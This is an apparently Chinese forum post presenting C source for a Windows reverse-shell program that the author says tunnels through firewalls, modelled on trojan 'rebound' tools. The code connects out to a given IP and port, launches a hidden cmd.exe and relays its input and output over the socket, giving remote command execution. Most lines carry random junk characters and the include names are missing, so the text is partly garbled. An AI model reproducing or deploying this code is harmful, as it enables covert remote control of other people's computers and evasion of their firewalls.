这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7BU7sQjs
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/* ============================== \O "`o4
Rebound port in Windows NT b;jdk w|
By wind,2006/7 3A`]Rk
===============================*/ wl]3g
#include ,uC-^T
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#include 1}la)lC
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#pragma comment(lib,"wsock32.lib") V:y6NfL7i'
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void OutputShell(); y*^UGJC:
SOCKET sClient; I{dy,\p
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4@fv%LOQo
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void main(int argc,char **argv) Hj
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{ .+(V</
WSADATA stWsaData; <!RkkU&
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int nRet; oH6zlmqG"
SOCKADDR_IN stSaiClient,stSaiServer; $Ah
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if(argc != 3) xk~gGT&
{ nu+K
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printf("Useage:\n\rRebound DestIP DestPort\n"); %]I#]jR
return; lfDd%.:q4S
} R
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8%B_nVc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r]cq|Nv8:
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stSaiClient.sin_family = AF_INET; \0 h>!u
stSaiClient.sin_port = htons(0); G3TS?u8Q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %OgK{h
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %HpPTjAW
{ Cydo~/
printf("Bind Socket Failed!\n"); -(TC'
return; :1 qLRr
} ]2f-oz*hU
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stSaiServer.sin_family = AF_INET; WMC^G2 n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Wo&22,EB
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); aPxSC>p
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V.`hk^V,
{ d)uuA;n
printf("Connect Error!"); M**Sus87Q
return; ,YM=?No
} I>.pkf<V
OutputShell(); TW&s c9
} iSf%N>y'K
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void OutputShell() Ux',ma1JK
{ 0cB]:*W
char szBuff[1024]; #0r^<Yn
SECURITY_ATTRIBUTES stSecurityAttributes; QmSj6pB>
OSVERSIONINFO stOsversionInfo; 'Y2$9qy-L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UUWRC1EtI
STARTUPINFO stStartupInfo; 46T(1_Xt~
char *szShell; b~fl,(sZp
PROCESS_INFORMATION stProcessInformation; I\1E=6"
unsigned long lBytesRead; YvG$2F |_)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <fBJ@>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8?L-3/
stSecurityAttributes.lpSecurityDescriptor = 0; IW nG@!
stSecurityAttributes.bInheritHandle = TRUE; ]GRVU
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T@vE@D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T)22P<M8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D`41\#ti
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ![{/V,V]~
stStartupInfo.wShowWindow = SW_HIDE; 'Sd+CXS
stStartupInfo.hStdInput = hReadPipe; &/' O?HWl
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (Q `Ps/
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GetVersionEx(&stOsversionInfo); A-vYy1,'
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switch(stOsversionInfo.dwPlatformId) hQ:wW}HWW
{ o\tw)_ >
case 1: C4X3;l Z%S
szShell = "command.com"; A][ ;v
break; -2laM9Ed
default: RF<f
szShell = "cmd.exe"; #l)o<Z
break; zBI2cB8;P
} kN<;*jHV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x=K'Jj
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send(sClient,szMsg,77,0); -H\j-k
while(1) ,,EG"Um6
{ PCDvEbpG
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !eb{#9S*
if(lBytesRead) 4u2_xbT
{ ):+^893)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @!x7jPr
send(sClient,szBuff,lBytesRead,0); 4,)QV_?
} 6>)KiigZ\
else {9@E[bWp#
{ \ X6y".|-
lBytesRead=recv(sClient,szBuff,1024,0); dj,lbUL
if(lBytesRead<=0) break; rP6k}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _{B2z[G}
} yYaYuf
} ! "08TCc<
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return; |~Awm"
}